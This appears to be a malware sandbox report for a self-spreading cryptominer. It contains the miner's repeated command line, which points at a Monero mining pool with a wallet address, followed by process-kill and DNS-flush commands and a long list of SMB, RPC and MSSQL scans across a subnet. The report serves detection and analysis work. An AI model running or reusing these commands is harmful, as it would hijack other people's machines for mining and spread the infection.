C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im spreadTpqrst.exe

C:\ProgramData\spreadTpqrst.exe

C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\cmd.exe

cmd /c ipconfig /flushdns

C:\Windows\SysWOW64\ipconfig.exe

ipconfig /flushdns

C:\Windows\SysWOW64\cmd.exe

cmd /c taskkill /f /im spreadTpqrst.exe&&exit

C:\ProgramData\spreadTpqrst.exe

C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im spreadTpqrst.exe

C:\ProgramData\spreadTpqrst.exe

C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\cmd.exe

cmd /c taskkill /f /im spreadTpqrst.exe&&exit

C:\ProgramData\spreadTpqrst.exe

C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im spreadTpqrst.exe

C:\ProgramData\spreadTpqrst.exe

C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\cmd.exe

cmd /c taskkill /f /im spreadTpqrst.exe&&exit

C:\ProgramData\spreadTpqrst.exe

C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im spreadTpqrst.exe

C:\ProgramData\spreadTpqrst.exe

C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\cmd.exe

cmd /c taskkill /f /im spreadTpqrst.exe&&exit

C:\ProgramData\spreadTpqrst.exe

C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\cmd.exe

cmd /c ipconfig /flushdns

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im spreadTpqrst.exe

C:\Windows\SysWOW64\ipconfig.exe

ipconfig /flushdns

C:\ProgramData\spreadTpqrst.exe

C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\cmd.exe

cmd /c taskkill /f /im spreadTpqrst.exe&&exit

C:\ProgramData\spreadTpqrst.exe

C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im spreadTpqrst.exe

C:\ProgramData\spreadTpqrst.exe

C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\cmd.exe

cmd /c ipconfig /flushdns

C:\Windows\SysWOW64\ipconfig.exe

ipconfig /flushdns

C:\Windows\SysWOW64\cmd.exe

cmd /c taskkill /f /im spreadTpqrst.exe&&exit

C:\ProgramData\spreadTpqrst.exe

C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im spreadTpqrst.exe

C:\ProgramData\spreadTpqrst.exe

C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\cmd.exe

cmd /c ipconfig /flushdns

C:\Windows\SysWOW64\ipconfig.exe

ipconfig /flushdns

C:\Windows\SysWOW64\cmd.exe

cmd /c taskkill /f /im spreadTpqrst.exe&&exit

C:\ProgramData\spreadTpqrst.exe

C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im spreadTpqrst.exe

C:\ProgramData\spreadTpqrst.exe

C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\cmd.exe

cmd /c taskkill /f /im spreadTpqrst.exe&&exit

C:\ProgramData\spreadTpqrst.exe

C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im spreadTpqrst.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 sadan.8b8n.com udp
US 8.8.8.8:53 auto.c3pool.org udp
N/A 10.127.0.1:445 tcp
N/A 10.127.0.2:445 tcp
N/A 10.127.0.7:445 tcp
N/A 10.127.0.3:445 tcp
N/A 10.127.0.11:445 tcp
N/A 10.127.0.10:445 tcp
N/A 10.127.0.16:445 tcp
N/A 10.127.0.6:445 tcp
US 8.8.8.8:53 auto.c3pool.org udp
N/A 10.127.0.0:445 tcp
N/A 10.127.0.8:445 tcp
N/A 10.127.0.13:445 tcp
N/A 10.127.0.20:445 tcp
N/A 10.127.0.17:445 tcp
N/A 10.127.0.18:445 tcp
N/A 10.127.0.4:445 tcp
N/A 10.127.0.5:445 tcp
N/A 10.127.0.9:445 tcp
N/A 10.127.0.12:445 tcp
N/A 10.127.0.14:445 tcp
N/A 10.127.0.15:445 tcp
N/A 10.127.0.19:445 tcp
N/A 10.127.0.21:445 tcp
N/A 10.127.0.22:445 tcp
N/A 10.127.0.23:445 tcp
N/A 10.127.0.24:445 tcp
N/A 10.127.0.25:445 tcp
N/A 10.127.0.26:445 tcp
N/A 10.127.0.27:445 tcp
N/A 10.127.0.28:445 tcp
N/A 10.127.0.29:445 tcp
N/A 10.127.0.30:445 tcp
N/A 10.127.0.31:445 tcp
N/A 10.127.0.32:445 tcp
N/A 10.127.0.33:445 tcp
N/A 10.127.0.34:445 tcp
N/A 10.127.0.35:445 tcp
N/A 10.127.0.36:445 tcp
N/A 10.127.0.37:445 tcp
N/A 10.127.0.38:445 tcp
N/A 10.127.0.39:445 tcp
N/A 10.127.0.40:445 tcp
N/A 10.127.0.41:445 tcp
N/A 10.127.0.42:445 tcp
N/A 10.127.0.43:445 tcp
N/A 10.127.0.44:445 tcp
N/A 10.127.0.45:445 tcp
N/A 10.127.0.46:445 tcp
N/A 10.127.0.47:445 tcp
N/A 10.127.0.48:445 tcp
N/A 10.127.0.49:445 tcp
N/A 10.127.0.50:445 tcp
N/A 10.127.0.51:445 tcp
N/A 10.127.0.52:445 tcp
N/A 10.127.0.53:445 tcp
N/A 10.127.0.54:445 tcp
N/A 10.127.0.55:445 tcp
N/A 10.127.0.57:445 tcp
N/A 10.127.0.62:445 tcp
N/A 10.127.0.56:445 tcp
N/A 10.127.0.61:445 tcp
N/A 10.127.0.64:445 tcp
N/A 10.127.0.72:445 tcp
N/A 10.127.0.65:445 tcp
N/A 10.127.0.73:445 tcp
N/A 10.127.0.66:445 tcp
N/A 10.127.0.67:445 tcp
N/A 10.127.0.59:445 tcp
N/A 10.127.0.84:445 tcp
N/A 10.127.0.58:445 tcp
N/A 10.127.0.71:445 tcp
N/A 10.127.0.74:445 tcp
N/A 10.127.0.78:445 tcp
N/A 10.127.0.69:445 tcp
N/A 10.127.0.85:445 tcp
N/A 10.127.0.60:445 tcp
N/A 10.127.0.88:445 tcp
N/A 10.127.0.102:445 tcp
N/A 10.127.0.68:445 tcp
N/A 10.127.0.83:445 tcp
N/A 10.127.0.75:445 tcp
N/A 10.127.0.70:445 tcp
N/A 10.127.0.76:445 tcp
N/A 10.127.0.108:445 tcp
N/A 10.127.0.63:445 tcp
N/A 10.127.0.106:445 tcp
N/A 10.127.0.95:445 tcp
N/A 10.127.0.77:445 tcp
N/A 10.127.0.80:445 tcp
N/A 10.127.0.81:445 tcp
N/A 10.127.0.79:445 tcp
N/A 10.127.0.87:445 tcp
N/A 10.127.0.101:445 tcp
N/A 10.127.0.110:445 tcp
N/A 10.127.0.82:445 tcp
N/A 10.127.0.93:445 tcp
N/A 10.127.0.86:445 tcp
N/A 10.127.0.90:445 tcp
N/A 10.127.0.105:445 tcp
N/A 10.127.0.124:445 tcp
N/A 10.127.0.103:445 tcp
N/A 10.127.0.120:445 tcp
N/A 10.127.0.115:445 tcp
N/A 10.127.0.94:445 tcp
N/A 10.127.0.92:445 tcp
N/A 10.127.0.96:445 tcp
N/A 10.127.0.111:445 tcp
N/A 10.127.0.122:445 tcp
N/A 10.127.0.112:445 tcp
N/A 10.127.0.121:445 tcp
N/A 10.127.0.109:445 tcp
N/A 10.127.0.99:445 tcp
N/A 10.127.0.91:445 tcp
N/A 10.127.0.118:445 tcp
N/A 10.127.0.97:445 tcp
N/A 10.127.0.129:445 tcp
N/A 10.127.0.107:445 tcp
N/A 10.127.0.117:445 tcp
N/A 10.127.0.127:445 tcp
N/A 10.127.0.100:445 tcp
N/A 10.127.0.138:445 tcp
N/A 10.127.0.113:445 tcp
N/A 10.127.0.130:445 tcp
N/A 10.127.0.98:445 tcp
N/A 10.127.0.116:445 tcp
N/A 10.127.0.135:445 tcp
N/A 10.127.0.89:445 tcp
N/A 10.127.0.89:19490 tcp
N/A 10.127.0.89:135 tcp
N/A 10.127.0.89:19490 tcp
N/A 10.127.0.89:1433 tcp
N/A 10.127.0.104:445 tcp
N/A 10.127.0.114:445 tcp
N/A 10.127.0.119:445 tcp
N/A 10.127.0.123:445 tcp
N/A 10.127.0.125:445 tcp
N/A 10.127.0.126:445 tcp
N/A 10.127.0.128:445 tcp
N/A 10.127.0.131:445 tcp
N/A 10.127.0.132:445 tcp
N/A 10.127.0.133:445 tcp
N/A 10.127.0.134:445 tcp
N/A 10.127.0.136:445 tcp
N/A 10.127.0.137:445 tcp
N/A 10.127.0.139:445 tcp
N/A 10.127.0.140:445 tcp
N/A 10.127.0.141:445 tcp
N/A 10.127.0.142:445 tcp
N/A 10.127.0.143:445 tcp
N/A 10.127.0.144:445 tcp
N/A 10.127.0.145:445 tcp
N/A 10.127.0.146:445 tcp
N/A 10.127.0.147:445 tcp
N/A 10.127.0.148:445 tcp
N/A 10.127.0.149:445 tcp
N/A 10.127.0.150:445 tcp
N/A 10.127.0.151:445 tcp
N/A 10.127.0.152:445 tcp
N/A 10.127.0.153:445 tcp
N/A 10.127.0.154:445 tcp
N/A 10.127.0.155:445 tcp
N/A 10.127.0.156:445 tcp
N/A 10.127.0.157:445 tcp
N/A 10.127.0.158:445 tcp
N/A 10.127.0.159:445 tcp
N/A 10.127.0.0:135 tcp
N/A 10.127.0.160:445 tcp
N/A 10.127.0.161:445 tcp
N/A 10.127.0.162:445 tcp
N/A 10.127.0.1:135 tcp
N/A 10.127.0.163:445 tcp
N/A 10.127.0.164:445 tcp
N/A 10.127.0.2:135 tcp
N/A 10.127.0.165:445 tcp
N/A 10.127.0.3:135 tcp
N/A 10.127.0.166:445 tcp
N/A 10.127.0.167:445 tcp
N/A 10.127.0.4:135 tcp
N/A 10.127.0.168:445 tcp
N/A 10.127.0.5:135 tcp
N/A 10.127.0.169:445 tcp
N/A 10.127.0.6:135 tcp
N/A 10.127.0.170:445 tcp
N/A 10.127.0.7:135 tcp
N/A 10.127.0.8:135 tcp
N/A 10.127.0.171:445 tcp
N/A 10.127.0.172:445 tcp
N/A 10.127.0.10:135 tcp
N/A 10.127.0.9:135 tcp
N/A 10.127.0.173:445 tcp
N/A 10.127.0.174:445 tcp
N/A 10.127.0.175:445 tcp
N/A 10.127.0.11:135 tcp
N/A 10.127.0.176:445 tcp
N/A 10.127.0.177:445 tcp
N/A 10.127.0.178:445 tcp
N/A 10.127.0.179:445 tcp
N/A 10.127.0.180:445 tcp
N/A 10.127.0.181:445 tcp
N/A 10.127.0.182:445 tcp
N/A 10.127.0.183:445 tcp
N/A 10.127.0.12:135 tcp
N/A 10.127.0.13:135 tcp
N/A 10.127.0.14:135 tcp
N/A 10.127.0.15:135 tcp
N/A 10.127.0.190:445 tcp
N/A 10.127.0.16:135 tcp
N/A 10.127.0.18:135 tcp
N/A 10.127.0.17:135 tcp
N/A 10.127.0.19:135 tcp
N/A 10.127.0.184:445 tcp
N/A 10.127.0.21:135 tcp
N/A 10.127.0.20:135 tcp
N/A 10.127.0.22:135 tcp
N/A 10.127.0.23:135 tcp
N/A 10.127.0.192:445 tcp
N/A 10.127.0.198:445 tcp
N/A 10.127.0.200:445 tcp
N/A 10.127.0.196:445 tcp
N/A 10.127.0.186:445 tcp
N/A 10.127.0.191:445 tcp
N/A 10.127.0.203:445 tcp
N/A 10.127.0.24:135 tcp
N/A 10.127.0.185:445 tcp
N/A 10.127.0.189:445 tcp
N/A 10.127.0.26:135 tcp
N/A 10.127.0.25:135 tcp
N/A 10.127.0.27:135 tcp
N/A 10.127.0.28:135 tcp
N/A 10.127.0.29:135 tcp
N/A 10.127.0.221:445 tcp
N/A 10.127.0.216:445 tcp
N/A 10.127.0.31:135 tcp
N/A 10.127.0.30:135 tcp
N/A 10.127.0.32:135 tcp
N/A 10.127.0.195:445 tcp
N/A 10.127.0.33:135 tcp
N/A 10.127.0.34:135 tcp
N/A 10.127.0.217:445 tcp
N/A 10.127.0.35:135 tcp
N/A 10.127.0.187:445 tcp
N/A 10.127.0.36:135 tcp
N/A 10.127.0.37:135 tcp
N/A 10.127.0.188:445 tcp
N/A 10.127.0.38:135 tcp
N/A 10.127.0.39:135 tcp
N/A 10.127.0.194:445 tcp
N/A 10.127.0.201:445 tcp
N/A 10.127.0.40:135 tcp
N/A 10.127.0.41:135 tcp
N/A 10.127.0.233:445 tcp
N/A 10.127.0.42:135 tcp
N/A 10.127.0.199:445 tcp
N/A 10.127.0.225:445 tcp
N/A 10.127.0.43:135 tcp
N/A 10.127.0.44:135 tcp
N/A 10.127.0.45:135 tcp
N/A 10.127.0.197:445 tcp
N/A 10.127.0.46:135 tcp
N/A 10.127.0.47:135 tcp
N/A 10.127.0.193:445 tcp
N/A 10.127.0.214:445 tcp
N/A 10.127.0.234:445 tcp
N/A 10.127.0.48:135 tcp
N/A 10.127.0.202:445 tcp
N/A 10.127.0.49:135 tcp
N/A 10.127.0.209:445 tcp
N/A 10.127.0.50:135 tcp
N/A 10.127.0.51:135 tcp
N/A 10.127.0.218:445 tcp
N/A 10.127.0.211:445 tcp
N/A 10.127.0.52:135 tcp
N/A 10.127.0.239:445 tcp
N/A 10.127.0.53:135 tcp
N/A 10.127.0.55:135 tcp
N/A 10.127.0.54:135 tcp
N/A 10.127.0.204:445 tcp
N/A 10.127.0.212:445 tcp
N/A 10.127.0.56:135 tcp
N/A 10.127.0.207:445 tcp
N/A 10.127.0.247:445 tcp
N/A 10.127.0.57:135 tcp
N/A 10.127.0.227:445 tcp
N/A 10.127.0.206:445 tcp
N/A 10.127.0.58:135 tcp
N/A 10.127.0.213:445 tcp
N/A 10.127.0.224:445 tcp
N/A 10.127.0.59:135 tcp
N/A 10.127.0.241:445 tcp
N/A 10.127.0.205:445 tcp
N/A 10.127.0.244:445 tcp
N/A 10.127.0.60:135 tcp
N/A 10.127.0.61:135 tcp
N/A 10.127.0.210:445 tcp
N/A 10.127.0.230:445 tcp
N/A 10.127.0.235:445 tcp
N/A 10.127.0.62:135 tcp
N/A 10.127.0.63:135 tcp
N/A 10.127.0.254:445 tcp
N/A 10.127.0.232:445 tcp
N/A 10.127.0.64:135 tcp
N/A 10.127.0.66:135 tcp
N/A 10.127.0.65:135 tcp
N/A 10.127.0.222:445 tcp
N/A 10.127.0.67:135 tcp
N/A 10.127.0.208:445 tcp
N/A 10.127.0.223:445 tcp
N/A 10.127.0.220:445 tcp
N/A 10.127.0.215:445 tcp
N/A 10.127.0.68:135 tcp
N/A 10.127.0.69:135 tcp
N/A 10.127.0.226:445 tcp
N/A 10.127.0.70:135 tcp
N/A 10.127.0.71:135 tcp
N/A 10.127.0.72:135 tcp
N/A 10.127.0.237:445 tcp
N/A 10.127.0.73:135 tcp
N/A 10.127.0.74:135 tcp
N/A 10.127.0.231:445 tcp
N/A 10.127.0.236:445 tcp
N/A 10.127.0.219:445 tcp
N/A 10.127.0.249:445 tcp
N/A 10.127.0.75:135 tcp
N/A 10.127.0.76:135 tcp
N/A 10.127.0.77:135 tcp
N/A 10.127.0.245:445 tcp
N/A 10.127.0.251:445 tcp
N/A 10.127.0.78:135 tcp
N/A 10.127.0.79:135 tcp
N/A 10.127.0.80:135 tcp
N/A 10.127.0.81:135 tcp
N/A 10.127.0.228:445 tcp
N/A 10.127.0.82:135 tcp
N/A 10.127.0.83:135 tcp
N/A 10.127.0.252:445 tcp
N/A 10.127.0.84:135 tcp
N/A 10.127.0.240:445 tcp
N/A 10.127.0.85:135 tcp
N/A 10.127.0.229:445 tcp
N/A 10.127.0.243:445 tcp
N/A 10.127.0.250:445 tcp
N/A 10.127.0.86:135 tcp
N/A 10.127.0.87:135 tcp
N/A 10.127.0.88:135 tcp
N/A 10.127.0.242:445 tcp
N/A 10.127.0.246:445 tcp
US 8.8.8.8:53 sadan.8b8n.com udp
N/A 10.127.0.238:445 tcp
N/A 10.127.0.248:445 tcp
N/A 10.127.0.253:445 tcp
N/A 10.127.0.90:135 tcp
N/A 10.127.0.89:21 tcp
N/A 10.127.0.91:135 tcp
N/A 10.127.0.92:135 tcp
N/A 10.127.0.93:135 tcp
N/A 10.127.0.94:135 tcp
N/A 10.127.0.96:135 tcp
N/A 10.127.0.95:135 tcp
N/A 10.127.0.97:135 tcp
N/A 10.127.0.98:135 tcp
N/A 10.127.0.99:135 tcp
N/A 10.127.0.100:135 tcp
N/A 10.127.0.101:135 tcp
N/A 10.127.0.102:135 tcp
N/A 10.127.0.103:135 tcp
N/A 10.127.0.104:135 tcp
N/A 10.127.0.105:135 tcp
N/A 10.127.0.106:135 tcp
N/A 10.127.0.107:135 tcp
N/A 10.127.0.108:135 tcp
N/A 10.127.0.109:135 tcp
N/A 10.127.0.110:135 tcp
N/A 10.127.0.111:135 tcp
N/A 10.127.0.112:135 tcp
N/A 10.127.0.113:135 tcp
N/A 10.127.0.114:135 tcp
N/A 10.127.0.115:135 tcp
N/A 10.127.0.116:135 tcp
N/A 10.127.0.117:135 tcp
N/A 10.127.0.118:135 tcp
N/A 10.127.0.119:135 tcp
N/A 10.127.0.120:135 tcp
N/A 10.127.0.121:135 tcp
N/A 10.127.0.122:135 tcp
N/A 10.127.0.123:135 tcp
N/A 10.127.0.124:135 tcp
N/A 10.127.0.125:135 tcp
N/A 10.127.0.126:135 tcp
N/A 10.127.0.127:135 tcp
N/A 10.127.0.128:135 tcp
N/A 10.127.0.129:135 tcp
N/A 10.127.0.130:135 tcp
N/A 10.127.0.131:135 tcp
N/A 10.127.0.132:135 tcp
N/A 10.127.0.133:135 tcp
N/A 10.127.0.134:135 tcp
N/A 10.127.0.135:135 tcp
N/A 10.127.0.136:135 tcp
N/A 10.127.0.137:135 tcp
N/A 10.127.0.138:135 tcp
N/A 10.127.0.139:135 tcp
N/A 10.127.0.140:135 tcp
N/A 10.127.0.141:135 tcp
N/A 10.127.0.142:135 tcp
N/A 10.127.0.143:135 tcp
N/A 10.127.0.144:135 tcp
N/A 10.127.0.145:135 tcp
N/A 10.127.0.146:135 tcp
N/A 10.127.0.147:135 tcp
N/A 10.127.0.148:135 tcp
N/A 10.127.0.149:135 tcp
N/A 10.127.0.150:135 tcp
N/A 10.127.0.151:135 tcp
N/A 10.127.0.153:135 tcp
N/A 10.127.0.152:135 tcp
N/A 10.127.0.154:135 tcp
N/A 10.127.0.155:135 tcp
N/A 10.127.0.156:135 tcp
N/A 10.127.0.157:135 tcp
N/A 10.127.0.158:135 tcp
N/A 10.127.0.159:135 tcp
N/A 10.127.0.160:135 tcp
N/A 10.127.0.0:1433 tcp
N/A 10.127.0.161:135 tcp
N/A 10.127.0.162:135 tcp
N/A 10.127.0.163:135 tcp
N/A 10.127.0.1:1433 tcp
N/A 10.127.0.164:135 tcp
N/A 10.127.0.165:135 tcp
N/A 10.127.0.166:135 tcp
N/A 10.127.0.2:1433 tcp
N/A 10.127.0.167:135 tcp
N/A 10.127.0.3:1433 tcp
N/A 10.127.0.168:135 tcp
N/A 10.127.0.4:1433 tcp
N/A 10.127.0.169:135 tcp
N/A 10.127.0.170:135 tcp
N/A 10.127.0.6:1433 tcp
N/A 10.127.0.5:1433 tcp
N/A 10.127.0.171:135 tcp
N/A 10.127.0.7:1433 tcp
N/A 10.127.0.172:135 tcp
N/A 10.127.0.8:1433 tcp
N/A 10.127.0.173:135 tcp
N/A 10.127.0.10:1433 tcp
N/A 10.127.0.9:1433 tcp
N/A 10.127.0.174:135 tcp
N/A 10.127.0.175:135 tcp
N/A 10.127.0.176:135 tcp
N/A 10.127.0.11:1433 tcp
N/A 10.127.0.177:135 tcp
N/A 10.127.0.178:135 tcp
N/A 10.127.0.179:135 tcp
N/A 10.127.0.180:135 tcp
N/A 10.127.0.181:135 tcp
N/A 10.127.0.182:135 tcp
N/A 10.127.0.183:135 tcp
N/A 10.127.0.184:135 tcp
N/A 10.127.0.185:135 tcp
N/A 10.127.0.186:135 tcp
N/A 10.127.0.187:135 tcp
N/A 10.127.0.188:135 tcp
N/A 10.127.0.12:1433 tcp
N/A 10.127.0.13:1433 tcp
N/A 10.127.0.189:135 tcp
N/A 10.127.0.190:135 tcp
N/A 10.127.0.14:1433 tcp
N/A 10.127.0.191:135 tcp
N/A 10.127.0.192:135 tcp
N/A 10.127.0.15:1433 tcp
N/A 10.127.0.193:135 tcp
N/A 10.127.0.194:135 tcp
N/A 10.127.0.16:1433 tcp
N/A 10.127.0.195:135 tcp
N/A 10.127.0.196:135 tcp
N/A 10.127.0.18:1433 tcp
N/A 10.127.0.17:1433 tcp
N/A 10.127.0.197:135 tcp
N/A 10.127.0.19:1433 tcp
N/A 10.127.0.198:135 tcp
N/A 10.127.0.199:135 tcp
N/A 10.127.0.20:1433 tcp
N/A 10.127.0.21:1433 tcp
N/A 10.127.0.200:135 tcp
N/A 10.127.0.201:135 tcp
N/A 10.127.0.22:1433 tcp
N/A 10.127.0.202:135 tcp
N/A 10.127.0.203:135 tcp
N/A 10.127.0.204:135 tcp
N/A 10.127.0.23:1433 tcp
N/A 10.127.0.205:135 tcp
N/A 10.127.0.206:135 tcp
N/A 10.127.0.207:135 tcp
N/A 10.127.0.208:135 tcp
N/A 10.127.0.209:135 tcp
N/A 10.127.0.210:135 tcp
N/A 10.127.0.212:135 tcp
N/A 10.127.0.211:135 tcp
N/A 10.127.0.213:135 tcp
N/A 10.127.0.24:1433 tcp
N/A 10.127.0.214:135 tcp
N/A 10.127.0.26:1433 tcp
N/A 10.127.0.25:1433 tcp
N/A 10.127.0.215:135 tcp
N/A 10.127.0.216:135 tcp
N/A 10.127.0.217:135 tcp
N/A 10.127.0.27:1433 tcp
N/A 10.127.0.218:135 tcp
N/A 10.127.0.219:135 tcp
N/A 10.127.0.220:135 tcp
N/A 10.127.0.28:1433 tcp
N/A 10.127.0.221:135 tcp
N/A 10.127.0.222:135 tcp
N/A 10.127.0.29:1433 tcp
N/A 10.127.0.223:135 tcp
N/A 10.127.0.30:1433 tcp
N/A 10.127.0.31:1433 tcp
N/A 10.127.0.224:135 tcp
N/A 10.127.0.32:1433 tcp
N/A 10.127.0.225:135 tcp
N/A 10.127.0.33:1433 tcp
N/A 10.127.0.226:135 tcp
N/A 10.127.0.34:1433 tcp
N/A 10.127.0.227:135 tcp
N/A 10.127.0.35:1433 tcp
N/A 10.127.0.228:135 tcp
N/A 10.127.0.229:135 tcp
N/A 10.127.0.36:1433 tcp
N/A 10.127.0.37:1433 tcp
N/A 10.127.0.230:135 tcp
N/A 10.127.0.231:135 tcp
N/A 10.127.0.232:135 tcp
N/A 10.127.0.39:1433 tcp
N/A 10.127.0.38:1433 tcp
N/A 10.127.0.233:135 tcp
N/A 10.127.0.40:1433 tcp
N/A 10.127.0.234:135 tcp
N/A 10.127.0.41:1433 tcp
N/A 10.127.0.235:135 tcp
N/A 10.127.0.42:1433 tcp
N/A 10.127.0.236:135 tcp
N/A 10.127.0.43:1433 tcp
N/A 10.127.0.237:135 tcp
N/A 10.127.0.45:1433 tcp
N/A 10.127.0.44:1433 tcp
N/A 10.127.0.238:135 tcp
N/A 10.127.0.239:135 tcp
N/A 10.127.0.240:135 tcp
N/A 10.127.0.47:1433 tcp
N/A 10.127.0.46:1433 tcp
N/A 10.127.0.241:135 tcp
N/A 10.127.0.48:1433 tcp
N/A 10.127.0.242:135 tcp
N/A 10.127.0.49:1433 tcp
N/A 10.127.0.243:135 tcp
N/A 10.127.0.50:1433 tcp
N/A 10.127.0.244:135 tcp
N/A 10.127.0.51:1433 tcp
N/A 10.127.0.245:135 tcp
N/A 10.127.0.52:1433 tcp
N/A 10.127.0.246:135 tcp
N/A 10.127.0.53:1433 tcp
N/A 10.127.0.247:135 tcp
N/A 10.127.0.54:1433 tcp
N/A 10.127.0.55:1433 tcp
N/A 10.127.0.248:135 tcp
N/A 10.127.0.249:135 tcp
N/A 10.127.0.56:1433 tcp
N/A 10.127.0.250:135 tcp
N/A 10.127.0.58:1433 tcp
N/A 10.127.0.57:1433 tcp
N/A 10.127.0.251:135 tcp
N/A 10.127.0.59:1433 tcp
N/A 10.127.0.252:135 tcp
N/A 10.127.0.253:135 tcp
N/A 10.127.0.254:135 tcp
N/A 10.127.0.61:1433 tcp
